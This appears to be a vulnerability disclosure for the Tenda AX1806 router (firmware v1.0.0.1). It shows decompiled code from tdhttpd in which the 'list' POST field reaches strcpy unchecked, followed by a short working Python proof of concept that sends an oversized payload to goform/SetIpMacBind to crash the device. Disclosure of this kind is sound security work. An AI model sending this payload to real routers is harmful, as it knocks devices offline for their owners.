d1tto vuln details History

1 contributor

32 lines (20 sloc) | 879 Bytes

Overview

- The device's official website: https://www.tenda.com.cn/product/AX1806.html
- Firmware download website: https://www.tenda.com.cn/download/detail-3306.html

Affected version

v1.0.0.1

Vulnerability details

tdhttpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the fromSetIpMacBind function, which is accessible via the URL `goform/SetIpMacBind` .

```
memset(s, 0, sizeof(s));
memset(v16, 0, sizeof(v16));
memset(v19, 0, sizeof(v19));
nptr = websGetVar(a1, "bindnum", (int)"0");
v1 = websGetVar(a1, "list", (int)&byte_1C2CF0);
GetValue("dhcps.Staticnum", v19);
v13 = atoi(v19);
v2 = atoi(nptr);
v10 = v2;
if ( v2 > 0x20 )
{
  printf("staic ip number over %d\n", 32);
  goto LABEL_30;
}
for ( i = 1; ; ++i )
{
  v6 = (int)v1;
  if ( v1 )
    v6 = 1;
  if ( i > v10 )
    v6 = 0;
  if ( !v6 )
    break;
  memset(v20, 0, sizeof(v20));
  memset(v17, 0, sizeof(v17));
  memset(v22, 0, 0x80u);
  memset(v14, 0, sizeof(v14));
  memset(v15, 0, sizeof(v15));
  memset(dest, 0, sizeof(dest));
  v4 = strchr(v1, 10);
  v5 = v4;
  if ( v4 )
  {
    *v4 = 0;
    strcpy(v20, v1);
    v1 = v5 + 1;
  }
  else
  {
    strcpy(v20, v1);
  }
```

The function takes the POST argument `list`, does not verify its length, and copies it directly to a local variable on the stack, causing a stack overflow.

PoC

Poc of Denial of Service(DoS)

```
import requests

data = {
    b"list": b'A'*0x800,
    b"bindnum": b"1"
}
```

```
res = requests.post("http://127.0.0.1/goform/SetIpMacBind", data=data)
print(res.content)
```